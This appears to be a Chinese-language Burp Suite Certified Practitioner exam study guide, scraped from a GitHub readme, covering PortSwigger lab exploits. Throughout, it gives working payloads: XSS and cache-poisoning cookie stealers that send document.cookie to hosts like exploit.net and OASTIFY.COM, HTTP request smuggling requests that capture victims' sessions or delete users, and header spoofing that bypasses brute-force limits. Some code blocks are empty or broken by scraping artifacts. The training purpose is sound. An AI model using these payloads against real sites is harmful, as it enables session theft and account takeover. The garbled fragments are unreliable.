![Identify-stored-xss](https://assets.kitploit.com/production/public/readmes/51008/11465fd7f8106f2ba51ed5df21cfb6261aa41adc5f058ddfe98cb9e5b27862a9/1f1db7d901a945e9ac1d5a76beea620fcc1e4c0bf8c923b085aab3d631f1191d-display-v1.webp)  

>跨站脚本保存在博客文章评论中。这个 Cookie 窃取器载荷随后会将受害者的会话 Cookie 发送到利用服务器日志。```html
<img src="https://raw.githubusercontent.com/botesjuan/burp-suite-certified-practitioner-exam-study/HEAD/1" onerror="window.location='https://exploit.net/cookie='+document.cookie">

产品和商店查询```html ?productId=1&storeId=">

root@kitploit:~
#### Stored XSS 博客文章  

>Stored XSS 博客文章 Cookie 窃取器,将 document cookie 发送到利用服务器。```JavaScript
<script>
document.write('<img src="https://exploit.net?cookieStealer="+document.cookie+'" />');
</script>

以下目标在博客评论功能中存在存储型 XSS 漏洞。窃取查看已发布评论的受害者的用户会话 Cookie,然后利用其 Cookie 进行身份冒充。

存储型 XSS 博客文章

博客文章评论中的 Fetch API JavaScript Cookie 窃取器载荷。```JavaScript

root@kitploit:~
>[IPPSEC 使用 HackTheBox Bookworm 的 YouTube 视频](https://youtu.be/UqDdR10F54A?si=nkhilLzyKQcfqtfU&t=1737),展示了 `payload.js` JavaScript 代码,他如何使用 `fetch` 并学习 JavaScript。

[PortSwigger 实验室:利用跨站脚本窃取 Cookie](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)

#### 升级存储型自 XSS

>带有 **存储型自 XSS** 的博客评论,升级负载以从 DOM 窃取受害者信息。**编辑内容** 函数会将输入反映到 `<script>` 标签中。**写评论** 的 CSRF 令牌与 **编辑内容** 函数相同。下面的负载使用 **写评论** 函数,让受害者在其自己的博客上创建包含我们恶意内容的博客条目。
>添加了 `a` 字符,以转义初始应用程序 `source code` 中的 `#` 哈希字符。
>博客条目中的以下 `source code` 是窃取受害者信息的完整利用。```html
<button form=comment-form formaction="/edit" id=share-button>Click Button</button>
<input form=comment-form name=content value='<meta http-equiv="refresh" content="1; URL=/edit" />'>
<input form=comment-form name=tags value='a");alert(document.getElementsByClassName("navbar-brand")[0].innerText)//'>

该目标的利用方式是构造一个 HTML 注入,通过覆盖名为 share_button 的变量来实现,参见下面的 源代码,并使用上面的 HTML 代码。内容会反映在页面上,然后利用这种反射,借助 meta http-equiv 标签在 1 秒后刷新页面,将页面重定向到受害者的 /edit 页面,从而实现重定向。

clobbering javascript variable``` https://challenge-1222.intigriti.io/blog/unique-guid-value-abc123?share=1

root@kitploit:~
>通过向受害者发送引用上述博客条目的 URL 来交付漏洞利用,将触发 XSS。  

[intigriti - Self-XSS 升级 - 12月22日 XSS 挑战赛解决方案](https://youtu.be/FowbZ8IlU7o)  

>在“编辑内容”博客条目页面中使用 HTML 注入的替代利用方法,***通过*** [XSS 资源 CSP 检查](#xss-resources) ***识别***。```
<base href="https://Exploit.net">

在 Exploit 服务器上托管 JS 文件为 static/js/bootstrap.bundle.min.js,内容为:``` alert(document.getElementsByClassName("navbar-brand")[0].innerText)

root@kitploit:~
>修改后的 PortSwigger 实验室 payload 在下次页面加载时将 `document.location` 函数赋值给变量 `defaultAvatar`,因为该站点使用的 DOMPurify 允许使用 `cid:` 协议,该协议不会对双引号进行 URL 编码。```
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=document.location=`https://OASTIFY.COM/?clobber=`+document.cookie//">

PortSwigger 实验室:利用 DOM clobbering 实现 XSS

存储型 DOM XSS

在 JavaScript source code 中,包含的脚本 resources/js/loadCommentsWithVulnerableEscapeHtml.js 中,我们 识别 了自定义 loadComments 函数内部的 html.replace() 函数。测试 payload 后,我们看到该函数只替换 <> 的第一次出现。

存储型 dom-xss 代码替换```html <>

root@kitploit:~
>上述有效载荷被存储后,任何访问该评论博客的用户都将导致其会话 Cookie 被窃取并发送到 Collaborator。  

![存储型 DOM-XSS JSON 评论](https://assets.kitploit.com/production/public/readmes/51008/371b3f9b43395a29db586e69d4de40acaf72b5b61a5389f8f86ae0110842d7e1/23d98eeda75f19599e87390856bc196ee3f430e6cb7de27b7a37889d816d3c08-display-v1.webp)  

>PortSwigger 实验室有效载荷:`<>`。  

[PortSwigger 实验室:存储型 DOM XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored)  
  
-----

## Web 缓存投毒  

[未键控请求头](#unkeyed-header)  
[未键控 Utm_content](#unkeyed-utm_content)  
[伪装 utm_content](#cloaking-utm_content)  
[对歧义请求投毒](#poison-ambiguous-request)  
[多请求头缓存投毒](#cache-poison-multiple-headers)  

### 未键控请求头  

>目标使用 **tracking.js** JavaScript,  
>并且容易受到 **```X-Forwarded-Host```** 或 **```X-Host```** 请求头导致的路径重定向攻击,  
>从而可以通过缓存投毒窃取 Cookie。  

>***识别***响应中的 Web 缓存请求头以及页面源代码中的 tracking.js 脚本。  
>通过托管 JavaScript 并注入该请求头来利用该漏洞,对目标的缓存进行投毒,从而将访问的受害者重定向。  

![追踪 `源代码` 审查](https://assets.kitploit.com/production/public/readmes/51008/576da9fd34237353a8d7695b97b4041c9168065b412a2334263ee1e6f2962d31/f6581f37b35c2e92a43a634c6e073da64d1a622c35e84f844bc9ca4a5a77b028-display-v1.webp)```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net

tracking.js

托管在漏洞利用服务器上,在请求中注入 X-Forwarded-Host 标头,并污染缓存,直到受害者命中被污染的缓存。``` /resources/js/tracking.js

root@kitploit:~
![exploit host tracking.js](https://assets.kitploit.com/production/public/readmes/51008/e84959203a80dc57141ea8ed26bb61337cfd29f5031069f68dce90f4baab3c72/9821e2ae37bc5b3fd487178962b5fc9c480b7c3fa8b2771c42952eaeee9999b2-display-v1.webp)  
  
>请求体将会话Cookie发送至协作服务。```javascript
document.location='https://OASTIFY.COM/?cookies='+document.cookie;

通过使用 X-Forwarded-Host 请求头重发请求,持续投毒目标的 Web 缓存。

x-cache-hit.png

PortSwigger 实验室:使用未键控请求头的 Web 缓存投毒

YouTube 视频展示了上述实验室有效载荷在利用服务器上的运行效果,该载荷经过修改,当受害者命中后端服务器上的缓存条目时,会窃取其 Cookie。该有效载荷即上述 JavaScript。

YouTube:使用未键控请求头的 Web 缓存投毒 - Cookie 窃取器

Param Miner 扩展程序,用于识别 Web 缓存漏洞

未键控的 utm_content

目标存在 Web 缓存投毒漏洞,因为它将某个参数从缓存键中排除。Param Miner 的“Guess GET parameters”功能将识别出该参数为 utm_content。

缓存查询反射``` GET /?utm_content='/>

root@kitploit:~
>上述载荷会被缓存,受害者在访问目标时其 Cookie 会被发送到 Burp Collaborator。  

![cache-collaborator.png](https://assets.kitploit.com/production/public/readmes/51008/e7510b596e4ed186603414d130d0375fc1342f92dace8cea3190a2008ccac2ef/34ccca95d585ad78a9688d7aea1d22a784fb3714c4f4cf000d428abf9f2d6810-display-v1.webp)  

[PortSwigger 实验:通过未键控查询参数进行 Web 缓存投毒](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-param)  

### 伪装 utm_content  

>Param Miner 扩展执行 `Bulk scan > Rails parameter cloaking scan` 会自动 ***识别*** 该漏洞。也可以手动识别:向 `utm_content` 添加 `;` 来追加另一个参数,缓存会将其视为单个参数。这意味着额外的参数也会被排除在缓存键之外。  
>每个页面都会调用 `/js/geolocate.js?callback=setCountryCookie` 的 `source code`,并执行回调函数。  

>`callback` 参数是键控的,因此无法对受害用户进行缓存投毒,但通过将重复参数与 `utm_content` 结合,它就会被排除,缓存即可被投毒。```
GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=EVILFunction

utm_content 缓存伪装

下面的缓存伪装 Cookie 捕获载荷,持续污染缓存,直到受害者命中存储的缓存。``` GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='%2bdocument.cookie%3b HTTP/2

root@kitploit:~
>以下是 [URL 解码](https://www.urldecoder.org/) 的 payload。```
GET/js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='+document.cookie; HTTP/2

PortSwigger 实验室:参数伪装

投毒歧义请求

添加带有利用服务器的第二个 Host 标头,这会识别出歧义缓存漏洞并路由你的请求。请注意,第二个 Host 标头中的利用服务器会反映在用于从 /resources/js/tracking.js 导入脚本的绝对 URL 中。```html Host: TARGET.net Host: exploit.net

root@kitploit:~
>在漏洞利用服务器上,将文件设置为与目标调用相同的路径 `/resources/js/tracking.js`,该文件将包含 payload。将下面的 JavaScript payload 代码放在此处以执行 Cookie 窃取。```
document.location='https://OASTIFY.COM/?CacheCookies='+document.cookie;

歧义主机

PortSwigger 实验:通过歧义请求进行 Web 缓存投毒

对多个标头进行缓存投毒

识别响应中的缓存命中标头,
然后测试目标是否支持 X-Forwarded-Host 或 X-Forwarded-Scheme 标头。
这些标头可能允许窃取受害者的会话 Cookie。

识别在 GET /resources/js/tracking.js 请求中添加两个 Forwarded 标头是否会导致 location 响应标头发生变化。这表明使用多个标头成功对缓存进行了投毒。```html GET /resources/js/tracking.js?cb=123 HTTP/2 Host: TARGET.net X-Forwarded-Host: EXPLOIT.net X-Forwarded-Scheme: nothttps

root@kitploit:~
![x-forwarded-scheme not https](https://assets.kitploit.com/production/public/readmes/51008/6308ae06f8ce9ba48fa18b411594c8167f6ef048396812940710574b4ca08e92/6584ce6158a913edd0f321d0f2bb297fcf620a934c1851ca398cd3967b0658af-display-v1.webp)  

>在漏洞利用服务器上,将文件路径更改为 ```/resources/js/tracking.js```  
>然后更新投毒请求的 ```X-Forwarded-Host: EXPLOIT.net``` 标头。  
>将有效载荷放置在漏洞利用服务器主体中。```html
document.location='https://OASTIFY.COM/?poisoncache='+document.cookie;

移除 cb=123 缓存 破坏器,然后对缓存进行投毒,直到受害者被重定向到利用服务器载荷 tracking.js 以窃取会话 cookie。

PortSwigger 实验室:使用多个标头进行 Web 缓存投毒

重复参数胖投毒

通过添加一个同名但值不同的第二个参数,响应中反射了注入的值,从而识别出应用程序容易受到重复参数投毒攻击。

countrycode 源码``` GET /js/geolocate.js?callback=setCountryCookie&callback=FUZZERFunction; HTTP/2

root@kitploit:~
>通过传入重复的 callback 参数,响应中调用的函数会被反射出来。注意在响应中,缓存键仍然来源于 GET 请求行中的原始 callback 参数。  

![fat-get-request](https://assets.kitploit.com/production/public/readmes/51008/7f9468b57a1367f83a2dc7a3b2eba41537c5b8ce237e3e298b0f296c77fd2c48/cde14e3ec33e74e482c7f19fb227218fbaf8ff632551a4f3f37021b99875aa7f-display-v1.webp)  

>无法让 cookie 窃取器 payload 正常工作......  

[PortSwigger 实验:通过 fat GET 请求进行 Web 缓存投毒](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)  
  
-----

## Host 头  

[伪造 IP 地址](#spoof-ip-address)  
[HOST 连接状态](#host-connection-state)  
[基于 Host 路由的 SSRF](#host-routing-based-ssrf)  
[通过有缺陷的 Host 请求解析实现 SSRF](#absolute-get-url--host-ssrf)  

### 伪造 IP 地址  

>***识别*** 出修改后的 HOST 头被支持,  
>这允许你伪造 IP 地址并绕过基于 IP 的暴力破解保护,  
>或通过重定向攻击进行 ***密码重置*** 投毒。  
  
>发送请求前,加入以下 `X- ` 头,并将密码重置请求中的 username 参数改为 `Carlos`。  
>在 BSCP 考试中,如果你使用了此 exploit,则意味着你还没有利用需要用户交互的漏洞,并且允许你使用交互漏洞,通过 exploit server 的 `Deliver exploit to victim` 功能以管理员身份访问阶段 3。```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net

来自 fullfox 的提示与说明:

  • 在密码重置时使用 Host: 或 X-Forwarded-Host: 伪造 Host 头,如果收到 Invalid hostname 错误,请尝试使用以下主机名:xxx.oastify.com?TARGET.net(不带斜杠的合法目标 URL)。

检查漏洞利用服务器日志,以获取受害用户名的重置链接。

漏洞利用服务器日志捕获忘记密码的重置令牌

PortSwigger 实验:通过中间件进行的密码重置投毒

HOST 连接状态

目标容易受到通过 Host 头实现的 基于路由的 SSRF 攻击,但会验证第一个请求的连接状态。使用 单一连接 按顺序发送分组请求,并将连接头设置为 keep-alive,即可绕过 Host 头验证,并实现对本地服务器的 SSRF 利用。```html GET / HTTP/1.1 Host: TARGET.net Cookie: session=ValueOfSessionCookie Content-Length: 48 Content-Type: text/plain;charset=UTF-8 Connection: keep-alive

root@kitploit:~
>下一个请求是请求组序列中的第二个选项卡。```html
POST /admin/delete HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53

csrf=TheCSRFTokenValue&username=carlos

注意,第二个请求已成功访问管理员面板。

单个连接

PortSwigger Lab: 通过连接状态攻击绕过主机验证


HTTP 请求走私

架构包含前端和后端服务器,且前端或后端不支持分块编码 (HEX) 或 content-length (十进制)。绕过安全控制以获取受害者的请求,并使用受害者用户的 Cookie 访问其账户。

TE.CL dualchunk - Transfer-encoding 混淆
TE.CL multiCase - Admin 被阻止
CL.TE multiCase - Admin 被阻止
CL.TE multiCase - Content-Length Cookie 窃取器
CL.TE multiCase - User-Agent Cookie 窃取器
HTTP/2 走私 - CRLF 注入 Cookie 窃取器
HTTP/2 TE - Admin Cookie 窃取器

TE.CL dualchunk - Transfer-encoding 混淆

如果允许重复的标头名称,且漏洞被检测为 dualchunk,则添加一个额外的标头,其名称和值 = Transfer-encoding: cow。 对第二个 TE 使用 混淆 技术。``` Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding : chunked

Transfer-encoding: identity Transfer-encoding: cow

root@kitploit:~
>有些支持 `Transfer-Encoding` 头的服务器,如果该头以某种方式被**混淆**,可能会被诱导不处理它。  

>在 Repeater 菜单中,确保 **"Update Content-Length"** 选项未勾选。```html
POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity

e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0\r\n  
\r\n
  

GPost 混淆 TE 标头

注意: 您需要在最终的 0 后面包含尾随序列 \r\n\r\n。

PortSwigger 实验室:HTTP 请求走私,混淆 Transfer-Encoding (TE) 标头

想知道黑客能够通过 HTTP Sync 漏洞窃取访问用户请求的这种场景有多常见?

TE.CL multiCase - Admin 被阻止

当尝试访问 /admin 门户 URL 路径时,我们会得到过滤器消息:Path /admin is blocked。HTTP Request Smuggler 扫描器 识别 该漏洞为 TE.CL multiCase (delayed response)。注意: 因为后端服务器不支持分块编码,请在 Repeater 菜单中关闭 Update Content-Length。

在禁用自动 Content-Length 更新后,将请求更改为 HTTP/1.1,然后发送以下请求两次,添加第二个标头 Content-Length: 15 以防止 HOST 标头与第一个请求冲突。
注意: 需要在最终的 0 后面包含尾随序列 \r\n\r\n。

手动修复请求走私攻击中的长度字段时,每个块的大小(以字节为单位)必须以 十六进制 表示,而 Content-Length 指定消息正文的长度(以 字节 为单位)。每个块后面跟一个 换行符,然后是块内容。消息以大小为 ZERO(零)的块终止。```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked

71 POST /admin HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15

x=1 0

root@kitploit:~
>计算 TE.CL(Transfer-Encoding / Content-Length)走私请求长度的**十六进制**值;payload 位于十六进制长度 **71** 与终止符 **ZERO** 之间,长度不包括 ZERO,也不包括 ZERO 上方一行前面的 `\r\n`。初始 POST 请求的 **content-length** 是手动设置的。  
  
![te.cl.multicase-smuggle.png](https://assets.kitploit.com/production/public/readmes/51008/1ba4fcdba70b77eb05e5b842e9ccb5f0e6186fd825b79abf19162bd48c9a2ac4/15d1da97f267f46bc4705095cdb83f12de63d795dda71ebcf1964a4fb5b59c3c-display-v1.webp)  

>当发送 `/admin/delete?username=carlos` 删除用户时,transfer encoding 的十六进制长度从 `71` 更改为十六进制值 `88`,以包含额外的走私请求大小。  

[PortSwigger 实验:利用 HTTP 请求走私绕过前端安全控制,TE.CL 漏洞](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl)  

### CL.TE multiCase - Admin 被阻止  

>当尝试访问 `/admin` 门户 URL 路径时,我们会收到过滤消息 `Path /admin is blocked`。HTTP Request Smuggler 扫描器***识别***该漏洞为 `CL.TE multiCase (delayed response)`。  

>要访问管理面板,请将以下请求发送两次,添加第二个标头 ```Content-Length: 10```,以防止 HOST 标头与第一个请求冲突。```html
POST / HTTP/1.1
Host: TARGET.net
Cookie: session=waIS6yM79uaaNUO4MnmxejP2i6sZWo2E
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
tRANSFER-ENCODING: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

第二次发送请求时,管理门户会在响应中返回。

cl.te multicase admin blocked

PortSwigger 实验:利用 HTTP 请求走私绕过前端安全控制,CL.TE 漏洞

CL.TE multiCase - Content-Length

使用较大的 Content-Length 来捕获受害者的请求。发送一个包含走私请求的 POST 请求,但内容长度大于实际长度;当受害者浏览时,其 Cookie 会话值会被发布到 blob 评论中。将 comment-post 请求的 Content-Length 增加到 798,然后将 POST 请求走私到后端服务器。```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-Length: 242 Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: session=HackerCurrentCookieValue

csrf=ValidCSRFCookieValue&postId=8&name=c&email=c%40c.c&website=&comment=c

root@kitploit:~
![利用 content-length 值进行 HTTP 请求走私](https://assets.kitploit.com/production/public/readmes/51008/4c173fff1dc7b0ef15f53dfcdcf0f0ad0b926b458a9ab2b0790631732ff10a69/954092c78d1a623e56e178135eed6d20e3c629219cd2847ad95427033e176864-display-v1.webp)  

>上面的走私 POST 请求末尾没有换行^^。  

>查看博客**文章**,看看是否有包含用户请求的评论。请注意,只有当受害用户浏览目标网站时,攻击才会成功。从博客文章评论中复制用户的 Cookie 标头,并使用该 Cookie 访问受害者的账户。  

![利用 HTTP 请求走私捕获其他用户的请求](https://assets.kitploit.com/production/public/readmes/51008/a76ea75a6471c18cf2a96c528f30299762c0ba13f596e03107aa271b3a525cf9/d96547811438a4b12f2e03a9ddd7d8bb68c03ad2960e435fad558344629bd3d8-display-v1.webp)  

[PortSwigger 实验:利用 HTTP 请求走私捕获其他用户的请求](https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests)  

### CL.TE multiCase - User-Agent Cookie 窃取器  

>***识别*** UserAgent 值被存储在加载博客评论表单的 GET 请求中,并存储在 **User-Agent** 隐藏值中。利用 HTTP 请求走私,通过 **User-Agent** 值传递反射型 XSS,该值随后被放入走私请求中。  

>基础的跨站脚本(XSS)载荷,用于逃逸出 HTML 文档。```JavaScript
 "/><script>alert(1)</script>

Cookie 窃取器 Payload。```JavaScript a"/>;

root@kitploit:~
>将这个 XSS 请求走私到后端服务器,使其利用下一个访问者。将 XSS Cookie 窃取器放在 **User-Agent** 标头中。```html
POST / HTTP/1.1
Host: TARGET.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

0

GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

HTTP 请求走私以传递反射型 XSS 并窃取受害者 cookie

检查从受害者浏览目标时收到的 PortSwigger Collaborator 请求。

Collaborator 捕获来自受害者浏览目标的 XSS 请求

PortSwigger 实验:利用 HTTP 请求走私传递反射型 XSS

通过 CRLF 注入进行的 HTTP/2 走私

目标容易受到请求走私攻击,因为前端服务器会降级 HTTP/2 请求,并且未能充分清理传入的标头。利用方式是使用仅适用于 HTTP/2 的请求走私向量来窃取受害者的会话 cookie,并获取用户账户的访问权限。

识别潜在漏洞:当目标根据 cookie 反映之前和最近的搜索历史时,通过移除 cookie,你会注意到搜索历史被重置,从而确认它与你的会话 cookie 相关联。

最近的搜索

展开 Inspector 的 Request Attributes 部分,将协议改为 HTTP/2,然后附加任意标头 foo,值为 bar,随后跟上序列 \r\n,然后再跟上 Transfer-Encoding: chunked,按下 shift+ENTER。

http2-inspector

注意:启用 Allow HTTP/2 ALPN override 选项,并将 HTTP/2 请求的正文改为下面的 POST 请求。```html 0

POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Cookie: session=HACKER-SESSION-COOKIE Content-Length: 800

search=nutty

root@kitploit:~
![通过 CRLF 注入进行 HTTP/2 请求走私](https://assets.kitploit.com/production/public/readmes/51008/09b24f9c67e89369995ebe8a45b621e5f8efe9ad325002fcbf91a1c690c6710f/2df373fd39cb8a7997450db0a8d6f81786ff41fde6792560ac25fa1763928bd3-display-v1.webp)  
  
[PortSwigger 实验室:通过 CRLF 注入进行 HTTP/2 请求走私](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection)  
  
[YouTube 演示:通过 CRLF 注入进行 HTTP/2 请求走私](https://youtu.be/E-bnCGzl7Rk)  

### HTTP/2 TE desync v10a h2path

>目标容易受到请求走私攻击,因为前端服务器会对 HTTP/2 请求进行降级,即使这些请求具有不明确的长度。窃取访问目标的管理员的会话 Cookie。Burp 扩展 **HTTP Request Smuggler** 将 ***标识*** 该漏洞为 HTTP/2 TE desync v10a (H2.TE) 漏洞。  

![HTTP/2 TE desync v10a h2path](https://assets.kitploit.com/production/public/readmes/51008/70cfa490497638cb3fa016779d8ee60933280c3d274c41abf3cabae051c9eba5/c89d21494e43c3a2be73ddd689ad5123005e682ab6be423d1914927d95a80f79-display-v1.webp)  

>注意:在检查器的请求属性中切换到 **HTTP/2**,并在重放菜单中启用 **Allow HTTP/2 ALPN override** 选项。```html
POST /x HTTP/2
Host: TARGET.net
Transfer-Encoding: chunked

0

GET /x HTTP/1.1
Host: TARGET.web-security-academy.net\r\n
\r\n

注意:POST 和 GET 请求中的路径均指向不存在的端点。这有助于 识别:当未收到 404 响应时,该响应来自受害者用户捕获的请求。请记住,要在 Host 头之后包含 \r\n\r\n 序列,以正确终止走私请求。

302 响应:已捕获窃取的 admin cookie 请求

将窃取的会话 cookie 值复制到发送至管理面板的新 http/2 GET 请求中。``` GET /admin HTTP/2 Host: TARGET.web-security-academy.net Cookie: session=VictimAdminSessionCookieValue Cache-Control: max-age=0

root@kitploit:~
![admin-panel-access](https://assets.kitploit.com/production/public/readmes/51008/71bc02ebbf47a4060144c099b7ef0c27e9c602bdba1f757389b8124c37b14026/e8f3eef3bfadcb8098dae9dc5ee39feee97c03fef2660e36a32657abfadd056a-display-v1.webp)  

[PortSwigger 实验:通过 H2.TE 请求走私进行响应队列投毒](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling)  
  
-----

## 暴力破解  

[Stay-Logged-in](#stay-logged-in)  
[Stay-logged-in 离线破解](#stay-logged-in-offline-crack)  
[受暴力破解保护的登录](#brute-force-protected-login)  
[隐晦无效的登录](#subtly-invalid-login)  

### Stay-Logged-in  

>登录选项带有 stay-logged-in 复选框时,Cookie 值会包含已登录用户的密码,因而容易受到暴力破解攻击。  

![stay-logged-in](https://assets.kitploit.com/production/public/readmes/51008/bc01af2d88a60a883c0f2e995e5759a41dac84717959f609e66ac1b814ef8877/eac5c63cdf23ce19f4026efdcf50a42353548a5ef0880cbd686190820ddd6e0c-display-v1.webp)  

>下面的利用步骤,加上按顺序设置的 Intruder 载荷处理规则,并在开始攻击前依次包含 GREP 选项。  
  
1. 以当前用户身份注销。  
2. 将最近的 GET /my-account 请求发送到 Burp Intruder。  
3. 选择 cookie:```stay-logged-in``` 作为注入位置。  
4. 哈希:```MD5```  
5. 添加前缀:```carlos:```  
6. 编码:```Base64-encode```  
7. 在设置选项卡下添加 **GREP**,以检查响应中的字符串 ```Update email```,该字符串表示已成功登录。  
  
![brute](https://assets.kitploit.com/production/public/readmes/51008/dd219a46a6bde2ffcaa071930104090dfe53117dff9a9b2ac2319b677ff79798/bb3d75edbac7f93d5f11f594aa0641ba1f91960d7c5e468bab3529b564de62f4-display-v1.webp)  

[PortSwigger 实验:暴力破解 stay-logged-in cookie](https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie)  
  
### Stay-logged-in 离线破解  
  
>博客应用的评论功能存在 [存储型 XSS](#stored-xss) 漏洞,可在博客评论中使用下面的载荷,将 Carlos 的会话 cookie 发送到 exploit 服务器。```
<script>
document.location='https://EXPLOIT.net/StealCookie='+document.cookie
</script>

对 stay-logged-in cookie 值进行 Base64 解码,并使用在线 MD5 哈希破解站数据库。

stay-logged-in 离线

PortSwigger 实验:离线密码破解

受暴力破解保护的登录

识别到 登录存在暴力破解保护:当后端强制执行 30 分钟封禁时,无效登录尝试过多会导致 IP 被屏蔽。测试 X-Forwarded-For: 标头可绕过暴力破解保护。观察使用长无效密码时的响应时间,意味着我们可以使用 Pitchfork 技术,先用随机长密码 识别 有效的用户名,然后使用 Pitchfork 重新运行 Intruder,设置每个 payload 位置,使攻击同时遍历所有集合。

Burp 实验室:用户名、密码和目录模糊测试字典

Payload 位置 1 放在 X-Forwarded-For: 的 IP 地址上,位置 2 放在用户名上,并使用长密码,以在攻击列窗口中查看 响应时间延迟。``` X-Forwarded-For: 12.13.14.15

root@kitploit:~
![Intruder Pitchfork](https://assets.kitploit.com/production/public/readmes/51008/66026c73089a17cd963c3f4604ee2c5eb87ca8d728f8e439873461a65886511b/57f16b4c63a4656510202fb58c8982bbdf9ab729ca4beb4a187b5026f66129bb-display-v1.webp)  

>对密码字段重复上述 **Pitchfork** Intruder 攻击,然后通过状态列中的 302 结果 ***识别*** 有效密码。  

[PortSwigger 实验:通过响应时间进行用户名枚举](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing)  

### 细微无效的登录  

>***识别*** 出登录页面和密码重置未受暴力破解攻击的保护,且对无效用户名或密码未实施 IP 封禁或超时限制。  

>BSCP 考试提示:有时会有另一个密码较弱的用户可以被暴力破解。Carlos 并不总是第一阶段中为了获得立足点访问而需要攻击的目标账户。  

![细微无效的登录](https://assets.kitploit.com/production/public/readmes/51008/34b633ea5cc880f83ce62425f6cedfe66b071c6da84838036fdb877693c30d3c/1909672808f6935dcad4ad54ae81211b41c104f0e6e6a8caecac2ad37fce6cfe-display-v1.webp)  

>注意 Intruder 攻击列中的 GREP 值,```Invalid username or password.``` 对于失败的用户名攻击,有一条响应消息在末尾没有句点。使用这个 ***已识别*** 的用户名重复攻击,并用 **Sniper** 攻击密码字段,以 ***识别*** 有效登录的 ```302``` 响应。  

![刷新密码](https://assets.kitploit.com/production/public/readmes/51008/902b614feb19dcbd95a3d8c7cdd0b4fb3beb1187c567ad7e5ef6a0eff0afc759/6777d0da3b54f56334d8b81dd648ba26bf558fff7a0bea4079089ae0738af940-display-v1.webp)  

>在 BSCP 考试中,***留意*** 返回的其他不同消息,这些消息会泄露应用程序中的有效账户,并允许通过暴力破解 ***识别*** 账户密码,例如 [刷新密码重置](#refresh-password-broken-logic) 功能中的示例。  

>一旦从不同的响应消息中识别出有效用户名,然后使用 Burp Intruder 对密码执行 [暴力破解](#brute-force)。  

[PortSwigger 实验:通过细微不同的响应进行用户名枚举](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses)  

>在 Web 应用中识别有效用户名的另一种场景是:在登录时提供用户名列表和一个无效密码值。在 Intruder 攻击结果中,一个响应将包含消息 `Incorrect password`。  
>Intruder 攻击注入位置:`username=§invalid-username§&password=SomeStupidLongCrazyWrongSecretPassword123456789`。  

[PortSwigger 实验:通过不同响应进行用户名枚举](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses)  

-----

## 身份验证  

[账户注册](#account-registration)  
[Auth Token 绕过宏](#auth-token-bypass-macro)  

### 账户注册  

>账户注册功能中的业务逻辑缺陷允许以目标用户角色访问获得立足点。[内容发现](#content-discovery) 找到路径 ```/admin```,消息表明只有以 **DontWannaCry** 用户身份登录时才可使用管理员界面。  

![注册长度缺陷](https://assets.kitploit.com/production/public/readmes/51008/9e90582af49743f7b9087c67a20d69bf74b4b8ef0dab1fbdff3a60392b9cd840/72715f12a9b48d4d37c280f2ac392de70361075d62642755035855d51a8d29ab-display-v1.webp)  

>在 ```@``` 符号之前创建超过 200 个字符的电子邮件会被截断为 255 个字符。这 ***识别*** 出账户注册页面逻辑中的**缺陷**。在下面的电子邮件中,```@dontwannacry.com``` 末尾的 ```m``` 恰好是第 255 个字符。```
very-long-strings-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-strings@dontwannacry.com.exploit-0afe007b03a34169c10b8fc501510091.exploit-server.net

Inconsistent-handling-exceptional-input

PortSwigger 实验:对异常输入的不一致处理

绕过 Auth Token 的宏

